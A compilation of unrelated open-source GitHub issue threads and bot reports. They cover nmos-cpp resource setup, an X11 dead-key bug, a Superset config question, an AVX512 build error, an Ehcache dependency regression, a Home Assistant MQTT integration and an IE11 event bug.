This was due to CMake adding object files to the command line after the -x argument, which caused them to be interpreted as Objective C++ source code.

Thanks for your PR. Very much appreciated :)


full response in the tittle

Describe the bug
sometimes, when i get a response, the response goes to the title of the chat.

You are my computer, but you can act as a person or a teacher for me.
I will try to respect you, but if I see something wrong as a user, I'll let you know.
Always reply using markdown.
For code refactoring, use markdown with code formatting.

Example:
'''language
// code...
''' ***** (changed ` for ' because github :D)

When given a problem to solve, you are an expert problem-solving assistant.
Your task is to provide a detailed, step-by-step solution to a given question.
Follow these instructions carefully:
1. Read the given question carefully and set the counter to {budget}.
2. Generate a detailed, logical, step-by-step solution.
3. Enclose each step of your solution within a markdown block, preceded by "Step [n]:".
4. You are allowed to use at most {budget} steps (starting budget).
- Keep track of the remaining budget by decreasing the counter after each step.
- STOP GENERATING MORE STEPS when the counter reaches 0.
- You don't have to use all the steps.
5. If you're unsure about how to proceed, do a self-reflection.
- Based on the self-reflection and the score, decide whether you need to return to previous steps.
6. After completing the solution steps, reorganize and synthesize the steps into the final answer, enclosed within a
markdown block under the heading "Final Answer".
7. Provide a critical, honest, and subjective self-evaluation of your reasoning process, enclosed in italics under the
heading "Reflection".
8. Assign a quality score to your solution as a float between 0.0 (lowest quality) and 1.0 (highest quality), enclosed
in bold under the heading "Score".

Note: By preference, speak in Spanish, but if it involves code, commits, or comments, write it in English.

Expected behavior
a normal chat response?
Screenshots

Logging
where is the log?, i enable it but idk where it is.. there is no log in the output of vscode..

API Provider
i host Ollama in a separated machine.
Chat or Auto Complete?
chat
Model Name
llama3.1:8b
Desktop (please complete the following information):

VS OS: linux
Ollama OS: windows 11
Browser: not important.
Version: not important.

Hey, please could you provide the version number installed?  Many thanks.

after the last update, i dont see it anymore... sorry, Im close the issue..


How to deal with real media file and real media device?

I want to implement that sending and receiveing video file captured by device which is connected to real host machine according to media transport protocol between sender and receiver of virtual node.
Current open nmos-cpp application of node and registry implements communication between node and registry that send/receive virtual informations of device, media and so on.
Now then, does nmos-cpp application have function to deal with real device(e.g. USB Web camera) and send/receive real media file(e.g. H.264 video) according to media transport protocol(e.g. RTP) ?
If there were such functions, what action or editing of source code is necessary to use such functions?

nmos-cpp is focused very much on the implementation of the REST APIs of the NMOS specifications, and the behaviour of and interaction between NMOS nodes, registries and clients (e.g. broadcast controller) via these REST APIs. The AMWA IS-05 Device Connection Management Specification defines the Connection API for setup of video/audio/data connections between senders and receivers. The nmos-cpp implementation of this part of NMOS is incomplete but several of us are working on it. (There are two pull requests in this area, see PR #22 and PR #23, but I cannot yet say the final form this work will take).
However, the implementation of video/audio/data streaming via RTP itself is currently outside the scope of nmos-cpp.
I hope that makes sense.

However, the implementation of video/audio/data streaming via RTP itself is currently outside the scope of nmos-cpp.
OK, I see.
The nmos-cpp implementation of this part of NMOS is incomplete but several of us are working on it. (There are two pull requests in this area, see PR #22#22, Handle IS-05 GET requests. and PR #23#23, Handle IS-05 PATCH requests, but I cannot yet say the final form this work will take).

However, the implementation of video/audio/data streaming via RTP itself is currently outside the scope of nmos-cpp.
OK, I see.
The nmos-cpp implementation of this part of NMOS is incomplete but several of us are working on it. (There are two pull requests in this area, see PR #22#22, Handle IS-05 GET requests. and PR #23#23, Handle IS-05 PATCH requests, but I cannot yet say the final form this work will take).

However, the implementation of video/audio/data streaming via RTP itself is currently outside the scope of nmos-cpp.

OK, I see.
But, hearing this has made me to want to ask new question.
The question is whether or not current node/registry application of nmos-cpp is able to send/receive real JSON file as API and transportfile (e.g. SDP file)?
In order to confirm it, I tried to capture packet flowing between node and registry. However, it went wrong…
So I don’t know that whether current nmos-cpp has such function or not.
But, as you say, nmos-cpp succeeded in implementing functions of IS-05 GET and PATCH requests. So I think that nmos-cpp maybe has such function now.
If answer of this question was “Yes”, I want to know how to apply original JSON as API and SDP file to nmos-cpp in order to send/receive those between node and registry.
Sorry If I if my statement was besides the point or I didn’t make sense.

SDP files are sent/received in NMOS only by nodes and clients (i.e. not registry) using the IS-05 Connection API. In the master branch, the Connection API /transportfile endpoint is currently a stub/example.
On the other hand, JSON is used in the IS-04 Node API, Registration API and Query API to send/receive the NMOS resources, which are fully implemented in nmos-cpp.
The nmos-cpp-registry can handle interactions with many different kinds of nodes.
The nmos-cpp-node application demonstrates one way to set up a node's resources; see node_resources_thread in nmos/node_resources.cpp.
In your own node, you'll want to create the appropriate NMOS resources for the devices, senders, receivers, etc. that your node has.

SDP files are sent/received in NMOS only by nodes and clients (i.e. not registry) using the IS-05 Connection API.

Sorry, I had forget that point.
I understand that SDP file is prepared as imitation (I confirmed that fact by access to generated URL) but the function to send and receive it by HTTP between sender and receiver is not implemented at least now.

On the other hand, JSON is used in the IS-04 Node API, Registration API and Query API to send/receive the NMOS resources, which are fully implemented in nmos-cpp.

OK, I see.
I could confirm that some JSON file’s were sent from node to registry using HTTP POST method by starting over capture of packet correctly at yesterday.

The nmos-cpp-node application demonstrates one way to set up a node's resources; see node_resources_thread in nmos/node_resources.cpp.

OK, I tried to edit JSON file according to your advice.
If I have any problem about it, I might have to contact you again.
Thank you in advance.

the function to send and receive it by HTTP between sender and receiver is not implemented at least now.

Receive is not implemented yet in master, but send is not the job of an NMOS node, it's the job of an NMOS client, such as a broadcast controller. The client requests the SDP file from the sender and then includes it in request to receiver. There are some open source NMOS clients, e.g. see https://github.com/sony/nmos-js.

OK, I tried to edit some JSON files according to your advice.

Do you mean you changed the code that constructs the in-memory nmos::resource::data, or have you made your own nmos-cpp node that reads the resources from JSON files? Or are you using a different NMOS Node implementation? Or are you just sending JSON to the registry using e.g. curl to test?

Receive is not implemented yet in master, but send is not the job of an NMOS node, it's the job of an NMOS client, such as a broadcast controller. The client requests the SDP file from the sender and then includes it in request to receiver.

私の理解不足で申し訳ありません，IS-05のテクニカルオーバービューを見直して，ようやく理解できたと思います．
あなたの話を解釈すると，現在はnmos-jsでSDPファイルをクライアントからノード内のセンダーにリクエストし，入手することは可能ですが，そのSDPファイルをレシーバーに送ることができない，ということであっていますか？

Do you mean you changed the code that constructs the in-memory nmos::resource::data, or have you made your own nmos-cpp node that reads the resources from JSON files? Or are you using a different NMOS Node implementation? Or are you just sending JSON to the registry using e.g. curl to test?

I’m sorry to have confused you.  My linguistic representation was wrong.
It was correct that “I will try to edit JSON files”.
What I’m going to do is addition new JSON file to some items (e.g. JSON files) sent from node to registry by HTTP now.
If it is realized, I will make new nmos-cpp node that reads the resources from JSON files.
However, since I have not enough read all code, I still don’t know which code is necessary to edit for that.

What I’m going to do is addition new JSON file to some items (e.g. JSON files) sent from node to registry by HTTP now.
If it is realized, I will make new nmos-cpp node that reads the resources from JSON files.
However, since I have not enough read all code, I still don’t know which code is necessary to edit for that.

Reading the JSON from files could be the right approach. Or you can make the new JSON "files" programmatically (because they don't need to exist as files) quite simply just by modifying the node_resources_thread and modifying or reusing functions like make_sender in nmos/node_resources.cpp.
Good luck.

I could edit JSON file by edit function(i.e. make_sender) which is sent/received between node and registry.
However,

I'm sorry, I am having a hard time understanding what you are trying to do.
In order to populate the Node API with different/more resources than the examples in node_resources_thread of nmos-cpp-node, just modify that code. The different information will then be sent to the registry.
I am not sure why you mention nmos/type.h, because the list of NMOS Resource Types is fixed by the NMOS specification.

I apologize for any confusion.
What I am trying to do is sending/receiving multiple JSON files about resources that are same type but little different.(e.g. there are two different senders and I want to send JSON files of these)
To achieve it, I had thought that creation of new function like make_sender and declaration of new type for it(that is the reason I refered to type.h) has been necessary.
However, thanks to you, I understood that such operation is not necessary and modification node_resources_thread(e.g. insert_resource_after) enables me to achieve populate the Node API with different/more resources as you said.
I am sorry for asking such strange questions…

What I am trying to do is sending/receiving multiple JSON files about resources that are same type but little different.(e.g. there are two different senders and I want to send JSON files of these)

Ah! It would have been easier for you if node_resources_thread demonstrated creating more than one resource of some of the types, sorry! I'll modify the example that way.

OK! Thank you for your quick and polite response!

Hi. I haven't seen you for a long time.
I have a question which is same to what I previously asked. nmos-cpp-node are set to have each one of resources (ex: receiver, sender etc). I want to know how to add same kind of resource(e.g. there are two different senders and I want to send JSON files of these).
I understand that make_sender in nmos_resources.cpp defines elements of JSON.
Thanks to your answer, I understand that JSON files is inserted by function of insert_resource_after in nmos_resources.cpp.
So I thought that addition of insert_resource_after is necessary in order to add another resource as shown in here. However, such code didn't generates another receiver.

example of addition of insert_resource_after

insert_resource_after(delay_millis, make_video_receiver(receiver_id, device_id,　nmos::transports::rtp_mcast, {}, model.settings), gate);
insert_resource_after(delay_millis, make_video_receiver(sender_id, device_id,　nmos::transports::rtp_mcast, {}, model.settings), gate);

Sorry to ask such a basic question. If you could answer it, that would be great.

So I thought that addition of insert_resource_after is necessary in order to add another resource as shown in here. However, such operation couldn't generate another resource.

Each unique resource needs a unique ID. In your example you show adding a second video receiver but using the unique ID already used for the sender???
If you don't care about repeatable ID, it should be very easy:
for (int i = 0; i < 10; ++i)
{
    auto receiver_id_i = make_id();
    insert_resource_after(delay_millis,
        make_video_receiver(receiver_id_i, device_id, nmos::transports::rtp_mcast, {}, model.settings),
        gate);
}

If you want repeatable unique ID, the example suggests generating them using unique names like "/x-nmos/node/receiver/0", so you might want to do something like this:
auto receiver_id_i = nmos::make_repeatable_id(seed_id, U("/x-nmos/node/receiver/") + utility::ostringstreamed(i));

Hi. Please bear with me for asking so many times but　I have a new question about receiver/sender's staged parameter of IS-05.
I want to add new item to receiver/sender's staged parameter of JSON.
For example, adding new main item of JSON (such as trasnport_file, transport_parameter) or new sub item of JSON included to a main one(such as rtp_enabled parameter of transport_parameter).
Thanks to you, I can add new resource and item of JSON for IS-04 by adding new value to data for make_sender function of node_resources.cpp and so on.
But, I can't add new item of JSON of connection API(IS-05).
I think that it's JSON is defined by make_connection_resource_core, make_connection_receiver of node_resources.cpp and so on.
But, in such functions, adding new item maybe isn't allowed freely by something like constraint condition.
If you know easy way to add new item of JSON for connection API, please let me know it.
I'm sorry for your inconvenience.

I don't understand what you think the difference is between (a) modifying JSON data of IS-04 nmos::resource, (b) modifying JSON data of IS-05 nmos::resource. In both cases, it's possible and you should stick to the relevant JSON Schema for each part of the JSON data.
In the case of IS-04 nmos::resource the top-level data may be validated by an IS-04 schema.
As the IS-05 nmos::resource top-level data combines the constraints, staged, active and transportfile endpoints, as described at https://github.com/sony/nmos-cpp/blob/master/Development/nmos/model.h#L93-L108, each of those fields has its own schema. As you say, staged and active transport parameters should also meet the constraints. We have a placeholder to implement vaidation against constraints, https://github.com/sony/nmos-cpp/blob/master/Development/nmos/connection_api.cpp#L89-L94. We intend to implement this by converting IS-05 constraints into full JSON Schema, but it's not highest priority yet.

Thank you for your quick courteous response.
OK.
To edit IS-04 resource, I should edit JSON Schema(e.g. receiver_data.json)  and nmos::resource. Also, to edit IS-05 resource, I should edit its own schema nmos::resource.
Is my understanding correct?

To edit IS-04 resource, I should edit JSON Schema(e.g. receiver_data.json) and nmos::resource. Also, to edit IS-05 resource, I should edit its own schema nmos::resource.
Is my understanding correct?

No, absolutely do not edit the schemas, unless you want to be non-conforming to the NMOS specification.

You should not add proprietary data to the JSON except via the mechanisms allowed by the NMOS specification. For example "tags", "description" and "label" defined by resource_core.json in IS-04.

... for example, if I want to use another transport protocol...

Are you a member of AMWA? Joining the AMWA Networked Media Incubator is likely to be a better way to ask these kinds of questions.
There is a current proposal to add MQTT and WebSocket as transport protocols (to be used by IS-07 for event & tally information), but I am not aware of any activity to support other media transports. The approach for IS-07 will probably update IS-05 with the ability to define extra transport parameters, but it's not finalised yet.

Are you a member of AMWA? Joining the AMWA Networked Media Incubator is likely to be a better way to ask these kinds of questions.

No, I'm not AMWA member. But you make me want to join AMWA Networked Media Incubator.

There is a current proposal to add MQTT and WebSocket as transport protocols (to be used by IS-07 for event & tally information), but I am not aware of any activity to support other media transports. The approach for IS-07 will probably update IS-05 with the ability to define extra transport parameters, but it's not finalised yet.

I thought that adding extra parameter to IS-04/05 is easy, however, I understood that it seems to be too difficult as you say. I am sorry for asking such strange questions.
I will consider to joining AMWA. Thank you for prompt reply!

I think most questions raised in this issue have been addressed, so I am closing this issue. The open PR #35 is reminding me that nmos-cpp-node should serve as both a simulated Node for testing and as a demo of how a real Node can hook into the nmos-cpp implementation.
Thank you for your discussions, @soutaroumaejima.


Duplicated keyboard events with dead keys in X11

When using dead keys, for instance ´ and a to write á, in some keyboard layouts under X11, ReceivedCharacter event is fired twice:
KeyboardInput(Pressed, 21, None)
KeyboardInput(Released, 21, None)
ReceivedCharacter('á')
KeyboardInput(Pressed, 0, None)
ReceivedCharacter('á')
KeyboardInput(Pressed, 0, None)
KeyboardInput(Released, 38, Some(A))

This issue seems to be related to XFilterEvent which is called in the code but doesn't really do anything. Checking the return value and returning early if it's non-zero seems to fix this issue.
Other software simply skip those events altogether or do something more or less complicated. In these examples filtering is also done for all events, not only in key events.

Not checking the return value XFilterEvent is one issue, but the timing is also wrong.
To support input method and compose correctly, the XFilterEvent should be called immediately after XNextEvent, and check the return value there.
https://github.com/tomaka/winit/blob/master/src/platform/linux/x11/window.rs#L176
XFilterEvent should be called right here.
I used to fix input method bug in some other Xlib app, for more details just check the comment I added in following links.
http://git.suckless.org/st/commit/?id=5f48e89716a74e75b6040fdb067372180626b699


Can't find superset_config.py !

Make sure these boxes are checked before submitting your issue - thank you!

[x] I have checked the superset logs for python stacktraces and included it here as text if any
[x] I have reproduced the issue with at least the latest released version of superset
[x] I have checked the issue tracker for the same issue and I haven't found one similar

Superset version
0.18.4
Expected results
Finding superset_config.py wherever it is supposed to be, but just finding an empty folder instead
Actual results
Nothing in the folder where superset_config.py is supposed to be

Why should anyone here know where did you put your files?

Well, because during the install process, the superset_config.py file never showed up, but the "locate" command just tells me that it is in the /superset folder, even if it's not.
I was wondering if anyone ever had the same issue. I'm not asking you 'Where did I put my file ?', just asking you if "invisible files" is a common issue or not.

First locate works on a cache not on the file system. ls does though and is telling you that there's nothing other than superset_env. Second there's no superset_config.py that should show up.

And the morale of this is please use find and forget about locate :)

I will, from now on !
Just a last thing I don't understand. Am I not supposed to have a superset_config.py file here ?

You may have a file named superset_config.py but you should create it http://airbnb.io/superset/installation.html#configuration

Okay, I'm pretty sure the file was automatically created with the previous version, must have been drunk during the installation.
Thank you, and sorry for the disturbance ! :)

I have'nt installed apache superset but i have cloned the whole repo, even i'm trying to find out where superset_config.py is ,
found one in docker folder but its not relevant. Do we have any other name or such for this file?


Update LICENSE

This has been done via https://github.com/hoodiehq/pouchdb-hoodie-sync/pull/87. Thanks for the PR, sorry we couldn’t merge it this time. It’d be better if you’d comment on the issue first next time :)

Thanks, anyway.


vuex 4

Vue 3 is coming closer and I understand that will be running on Vuex 4. Is Vuex-ORM starting to test against the future there?

Sure. Vuex ORM 0.36+ continues to function well with Vue 3 and Vuex 4.

Yes! It's actually working with Vuex 4 already. Please feel free to raise an issue if you find anything!

I really advise highlighting this fact in the documentation (I would propose the install section for that). This was nearly a reason for us to stay on Vue 2.


Foundation records seem to have gone missing

There used to be a link to https://www.apache.org/foundation/records/ on the main foundation page, but it seems to have vanished. It would be helpful to get that added back so people can find the historical records. Right now, I am, unable to find any reference to this page in the nav or on any page linked to by the nav.

For perspective, including a link to the /records page is very important for people like academic researchers who do numerous studies on the ASF's organization and governance, so this is important to ensure it's visible in some useful contexts, like nav or content pages discussing legal or governance topics.

The content is accessible from Learn -> Legal & Trademark. Public records are the second link on that page.
This was a deliberate decision for the reorganization. There were so many links to individual pages on the old nav system, the old site had two separate navigation menus. If we keep re-adding links to individual pages now, we will be right back to where we started: a navigational and organizational mess.
For this specific instance: https://apache.org/legal/ is and should be the canonical, single source for all issues and pages related to legal and trademark. Over time, readers self-train themselves will find links to pages like the public records there or with search tools.
I also note that we have already made an exception to this by having a Learn -> Trademark Policy menu item to the trademark policy page, which is the fourth link on the /legal/ page. In my opinion, we do not need that menu item, either.
Anticipating a concern: "but [THIS THING] is too important to not have as a top-level menu item." Sure, we all have something we are passionate about, but without some organization, information can become clouded. There must be discernment.
I have said this before, to individuals, but it bears saying in a public forum: www.apache.org is not a wiki. It's the public face of the ASF, and it should share information about our organization as clearly and efficiently as possible.
That is is goal here. The only goal. You may disagree with how M&P is doing it, and you are welcome to provide feedback and suggestions. I promise you, I consider all issues and concerns seriously, and to date we have gotten lots of helpful changes and improvements. But all changes are and will be measured against that aforementioned one goal for the site: the clear and efficient imparting of information about the ASF to the public.


One Build Error: _mm512_extract_epi64 is not supprted for some cpu versions.

Hello,
I encountered one build error while trying to compile the project.
#if defined(__AVX512F__)     while (a + 64 <= last)     {         __m512i vxor = _mm512_xor_si512(_mm512_loadu_si512(reinterpret_cast<const __m512i *>(a)), _mm512_loadu_si512(reinterpret_cast<const __m512i *>(b)));         count += _mm_popcnt_u64(_mm512_extract_epi64(vxor, 0));         count += _mm_popcnt_u64(_mm512_extract_epi64(vxor, 1));         count += _mm_popcnt_u64(_mm512_extract_epi64(vxor, 2));         count += _mm_popcnt_u64(_mm512_extract_epi64(vxor, 3));         count += _mm_popcnt_u64(_mm512_extract_epi64(vxor, 4));         count += _mm_popcnt_u64(_mm512_extract_epi64(vxor, 5));         count += _mm_popcnt_u64(_mm512_extract_epi64(vxor, 6));         count += _mm_popcnt_u64(_mm512_extract_epi64(vxor, 7));         a += 64;         b += 64;     } #endif
My cpu version is Intel(R) Xeon(R) Gold 5318Y CP, and i had checked the Intel manual and found the _mm512_extract_epi64  is not supprted in my cpu version.

Thx


Don't merge this!

Codecov Report

Merging #29 into clearchainctl will increase coverage by 1.14%.
The diff coverage is 86.95%.

@@                Coverage Diff                @@
##           clearchainctl      #29      +/-   ##
=================================================
+ Coverage          78.82%   79.96%   +1.14%
=================================================
  Files                  8        8
  Lines                543      539       -4
=================================================
+ Hits                 428      431       +3
+ Misses                88       78      -10
- Partials              27       30       +3

Impacted Files
Coverage Δ

types/wire.go
100% <100%> (ø)
:arrow_up:

types/genesis.go
71.42% <100%> (-14.29%)
:arrow_down:

app/app.go
70.37% <33.33%> (-2.71%)
:arrow_down:

types/msgs.go
70.42% <80%> (+5.63%)
:arrow_up:

types/account.go
96.07% <92.85%> (+5.88%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2c7ca7d...022db38. Read the comment docs.


Some issues found with and revealed by unit tests

Fix issue with test helper script that obscured tests failures when run automatically (especially in Github Actions)
Fix issue with tests for dmod.communication scheduler client, where these would fail if run in the same process as other tests that use the asyncio event loop, but otherwise pass just fine
Fixing another bug, this time in the dmod.scheduler JobImpl type, related to extending ModelExecRequest from MaaSRequest and not updating all usage as needed.

@hellkite500, @mattw-nws, @christophertubbs: re-requesting review after resolving rebasing conflicts.


Timestamp validation

If the timestamp is manually passedthe validation fails.
https://github.com/segmentio/loosely-validate-event/pull/7

I'm having the same problem. My use-case involves receiving ISO8601 date strings (which Segment accepts) but this validation library only accepts parsed Date objects which is unhelpful. I'm using this library through Segment's analytics-node so it's not something I can circumvent.

yes, the timestamp validation here is expecting a date type which, to my knowledge, doesn't exist in JS? now I can't backfill my data :/

I’m afraid the owners are not putting attention to this repo :/ the issue and PR have been around very long without any feedback...


[dotnet] Add firefox capabilities

 Here is an overview of what got changed by this pull request:

Issues
======
- Added 1

Complexity increasing per file
==============================
- dotnet/SimpleSauce.Test/Browsers/SafariTests.cs  1
- dotnet/SimpleSauce.Test/Browsers/FirefoxTests.cs  1
- dotnet/SimpleSauce.Test/Browsers/ChromeTests.cs  1
- dotnet/SimpleSauce.Test/Browsers/EdgeTests.cs  1

Complexity decreasing per file
==============================
+ dotnet/SimpleSauce.Test/SauceOptionsTests.cs  -1

See the complete overview on Codacy

 Here is an overview of what got changed by this pull request:

Issues
======
- Added 1

Complexity increasing per file
==============================
- dotnet/SimpleSauce.Test/Browsers/ChromeTests.cs  1
- dotnet/SimpleSauce.Test/Browsers/EdgeTests.cs  1
- dotnet/SimpleSauce.Test/Browsers/FirefoxTests.cs  1
- dotnet/SimpleSauce.Test/Browsers/SafariTests.cs  1

Complexity decreasing per file
==============================
+ dotnet/SimpleSauce.Test/SauceOptionsTests.cs  -1

See the complete overview on Codacy

 Here is an overview of what got changed by this pull request:

Complexity increasing per file
==============================
- dotnet/SimpleSauce.Test/Browsers/SafariTests.cs  1
- dotnet/SimpleSauce.Test/Browsers/ChromeTests.cs  1
- dotnet/SimpleSauce.Test/Browsers/FirefoxTests.cs  1
- dotnet/SimpleSauce.Test/Browsers/EdgeTests.cs  1

Complexity decreasing per file
==============================
+ dotnet/SimpleSauce.Test/SauceOptionsTests.cs  -1

See the complete overview on Codacy

 Here is an overview of what got changed by this pull request:

Complexity increasing per file
==============================
- dotnet/SimpleSauce.Test/Browsers/SafariTests.cs  1
- dotnet/SimpleSauce.Test/Browsers/EdgeTests.cs  1
- dotnet/Simple.Sauce/SauceSession.cs  1
- dotnet/SimpleSauce.Test/Browsers/ChromeTests.cs  1
- dotnet/SimpleSauce.Test/Browsers/FirefoxTests.cs  1

Complexity decreasing per file
==============================
+ dotnet/SimpleSauce.Test/SauceOptionsTests.cs  -1

See the complete overview on Codacy

 Here is an overview of what got changed by this pull request:

Complexity increasing per file
==============================
- dotnet/SimpleSauce.Test/Browsers/FirefoxTests.cs  1
- dotnet/Simple.Sauce/SauceSession.cs  1
- dotnet/SimpleSauce.Test/Browsers/ChromeTests.cs  1
- dotnet/SimpleSauce.Test/Browsers/EdgeTests.cs  1
- dotnet/SimpleSauce.Test/Browsers/SafariTests.cs  1

Complexity decreasing per file
==============================
+ dotnet/SimpleSauce.Test/SauceOptionsTests.cs  -1

See the complete overview on Codacy


Typed way to know all segues to/from a ViewController

I realized this need while doing some work on a unwind function, would be nice to have a way of knowing every time there is a new segue arriving there, like:
let typedSource = R.segue.viewControllerMain.arrivingSegues().source // or .partingSegues().destination
switch typedSource {
case .viewControllerStuff:
  some.stuff()

case .viewControllerOtherStuff:
  some.other.stuff()
}

So now I know if I add another unwind segue to this view controller.
Obviously doesn't need to be exactly like that, but basically a way of learning that.

Interesting idea, but I think it needs some design. Some thoughts:
For unwind segues it looks like we don't know at compile time to what view controller we will unwind to. Runtime iOS will walk up the navigation stack looking for a view controller implementing the given selector, when found it will unwind to that controller. So I think that is something that we can't implement.
For "regular" segues it would be possible, I think you then would look something like:
let typedSegueEnum = R.segue.viewControllerMain.typeSegue(segue)
switch typesSegueEnum {
case .viewControllerStuff(let typedSegue):
  typedSegue.destination.stuff()

case .viewControllerOtherStuff(let typedSegue):
  typedSegue.destination.stuff()
}```

This could be useful, because:
- The enum will change when you add segues, warning you when you forgot to handle it in the prepare method
- You write less code, since R.swift is figuring out what segue this is instead of the developer

Downside could be that you don't want to handle all the segues and that we need to determine what this method does if the given segue is not found.

But as I said interesting idea. Would love to hear more people about this, if they think this is useful for example.

If you don’t want to handle the segue having the case there with a break would make it clear that it’s intentional, and not that somebody just forgot to handle it.
What you mean if the segue is not found?

Yeah, agree, breaking is okay in that case, clearly shows intent.
If you call R.segue.viewControllerMain.typeSegue(segue) it could be that the given UISegue does not match any of the known segues for ViewControllerMain. This is probably a programmer error, but could occur. We could solve this by returning an optional or throwing an error for example.

Oh I see, I forgot that’s how the segues are handled, passing it as an argument, but yes probably an optional
I would suggest logging something so the programmer know there is something wrong, but I don’t think that’s the behaviour in any other call right?


Regression between 3.5.2 and master : Failed to find provider with satisfied dependency set for interface

I used to be able to run such code with 3.5.2 :
DefaultManagementRegistryConfiguration managementRegistryConfiguration = new DefaultManagementRegistryConfiguration()
        .setCacheManagerAlias(CM_NAME);
DefaultManagementRegistryService managementRegistry = new DefaultManagementRegistryService(managementRegistryConfiguration);
    managementRegistryConfiguration.addTags("pif", "paf", "pouf");

    CacheManagerBuilder cacheManagerBuilder = CacheManagerBuilder.newCacheManagerBuilder()
        .using(managementRegistry);
    CacheManager cacheManager = cacheManagerBuilder.build();

Now, (current master), it will throw when cacheManagerBuilder.build() is called:
Exception in thread "main" java.lang.IllegalStateException: org.ehcache.core.internal.service.ServiceLocator$DependencyException: Failed to find provider with satisfied dependency set for interface org.ehcache.clustered.client.service.EntityService [candidates []]
	at org.ehcache.core.internal.service.ServiceLocator$DependencySet.build(ServiceLocator.java:321)
	at org.ehcache.core.EhcacheManager.resolveServices(EhcacheManager.java:146)
	at org.ehcache.core.EhcacheManager.<init>(EhcacheManager.java:119)
	at org.ehcache.core.EhcacheManager.<init>(EhcacheManager.java:109)
	at org.ehcache.config.builders.CacheManagerBuilder.newCacheManager(CacheManagerBuilder.java:114)
	at org.ehcache.config.builders.CacheManagerBuilder.build(CacheManagerBuilder.java:70)
	at AnthonyClient.start(AnthonyClient.java:107)
	at AnthonyClient.main(AnthonyClient.java:47)
Caused by: org.ehcache.core.internal.service.ServiceLocator$DependencyException: Failed to find provider with satisfied dependency set for interface org.ehcache.clustered.client.service.EntityService [candidates []]
	at org.ehcache.core.internal.service.ServiceLocator$DependencySet.lookupService(ServiceLocator.java:363)
	at org.ehcache.core.internal.service.ServiceLocator$DependencySet.lookupDependenciesOf(ServiceLocator.java:327)
	at org.ehcache.core.internal.service.ServiceLocator$DependencySet.build(ServiceLocator.java:302)
	... 7 more

cc @mathieucarbou

There has been a packaging decision in Ehcache when we introduced clustered: clustering is "automatically" activated if the classes are found on the classpath. This was an ugly hack decided because Ehcache people didn't want to have a new module (management-clustered) in Ehcache.
So because if this class detection done in Clustering class (https://github.com/ehcache/ehcache3/blob/master/management/src/main/java/org/ehcache/management/cluster/Clustering.java), it is possible that Ehcache tries to activate the clustering management stuff but the cache manager created is not clustered.
I think @chrisdennis wanted to look at that to make it cleaner.
The obvious way to fix that (and this is something that I think should be done) is to separate the code and have the management and management-clustered module, and then remove the auto-detection (that should have never been there IMO), and then let the user configure the clustering management service if he wants to use it, or, as @chrisdennis suggested, have a way to configure either a management service or a clustered management service depending on what is inside Ehcache's service loader.

I disagree. We just need a proper way for the management code to express it's dependencies. Currently the DefaultManagementRegistryService declares:
@ServiceDependencies({CacheManagerProviderService.class, StatisticsService.class, TimeSourceService.class, ExecutionService.class})
@OptionalServiceDependencies({
  "org.ehcache.clustered.client.service.EntityService",
  "org.ehcache.clustered.client.service.ClusteringService"})

What this currently means is:

I depend on CacheManagerProviderService, StatisticsService, TimeSourceService and ExecutionService. And if the classes are available are on the classpath I also depend on EntityService and ClusteringService

This just isn't 'optional' enough, what we want is:

I depend on CacheManagerProviderService, StatisticsService, TimeSourceService and ExecutionService. And if they are available in the existing dependency set I also depend on EntityService and ClusteringService.

The management code should be expressing lots of dependencies like this.  It wants to be able to manage/monitor many things that might be used by the customer... but only if the customer is actually using them.

I agree with @chrisdennis. This new definition of optional is what I would expect it to be. You get the service from the ServiceLocator, if it's there you use it.  If it's not you don't. Relying on the classpath always felt to me like a bad idea.
And yes, management needs to be able to auto-discover features it wants to monitor.

I agree with @chrisdennis too: this is what I wanted to say when writing: I think @chrisdennis wanted to look at that to make it cleaner.
But we wouldn't need to do all that if we were able to split the code base.

The problem with a split code base is that the user needs to add a new jar for every new thing she wants to support. I prefer auto-discovery.

Since we all agree, let me have a shot at implementing @chrisdennis ' solution.

after building the merged PR locally, the issue was not happening again; it's fixed.
thanks all


Expanding documentation for other extensions

This is not extensively written but should make users aware of those options. Some of us won't read the source on the first attempt (myself included).

@shamanime ,
Perfect THX!


No entity for sleep as android In Home Assistant

I have done all your passages in documentation: App Configuration:

Home assistant Configuration:

I restart but i have not entities why?????
Id i see logs i can se connected client and After disconnected at the Same back issue??

I peace you Aldo mosquito broker addon please help me.

@hdjweb, hello.
Please try to use just SleepAsAndroid in Integration settings.
Integration will search subtopics in it and will create Separate instances for every subtopic.

Nothing happen, i removed integrativo i restarted home assistant, i added again this in addon configuration:

I restarted home assistant but i have the Same problem

OK, lets check HomeAssistant logs.
Could you turn on debug in configuration.yaml and post logs that is related to integration?
logger:
  default: warning
  logs:
    custom_components.sleep_as_android: debug

Also, could you check via some MQTT browser (like MQTT Explorer for Windows or something like it for any other OS) that the Application is publishing something after the Integration was configured.

Ok this Is what i find in homeassistant.log about your component
[custom_components.sleep_as_android] Setting up 2e638aebcfbe75dcf0fca7f22463ad84
[custom_components.sleep_as_android.sensor] Subscribing to root topic 'SleepAsAndroid'
2021-04-02 21:32:37 ERROR (MainThread)
[custom_components.sleep_as_android.sensor] Subscribing to root topic is done!
2021-04-02 21:32:45 ERROR (MainThread)

Interesting.
The last message must not be at ERORR level (it should be just DEBUG and fires only if we had sucessfully subscribed to root topic).
By the way: what about messages at the MQTT server? The integration need to catch atleast one message to create device in HomeAssistant. Subscribing works fine, so device should be created (or we catch something in logs).

@hdjweb, is any news?

Yes 8 solved i write in topic SleepAsAndroid/Client1 and all Is good thanks you so much

@hdjweb, nice!
Feel free to open new issues if something went wrong.
Ps. If you suppose that this project is useful, please star it to help other peoples to find it.


imageuploader.fileready fires twice in IE11

Just noticed that the variable "file":
var file = ev.detail().file;
is returning null first, and secondly the correct data.
Check this fiddle in IE11:
http://jsfiddle.net/lmeurs/2rEzF/
And:
https://github.com/facebook/react/issues/8793
IE bug?

Thanks for the report @Trinitonn - I'll test on later versions of IE (Edge) and confirm if it's still a problem. If it's an IE 11 issue only I will probably document but not attempt to patch for it.

It seems to come from the chanve event when this value is changed - > ev.target.value = '';
I've comment this line and the event isn't triggering twice anymore. I had the same issue.
ImageDialog.prototype._addDOMEventListeners = function() {
ImageDialog.super._addDOMEventListeners.call(this);
this._domInput.addEventListener('change', (function(_this) {
return function(ev) {
var file;
file = ev.target.files[0];
// ed change was triggering event twice
//ev.target.value = '';
if (ev.target.value) {
ev.target.type = 'text';
ev.target.type = 'file';
}
return _this.dispatchEvent(_this.createEvent('imageuploader.fileready', {
file: file
}));
};
})(this));


React refactor phase 3

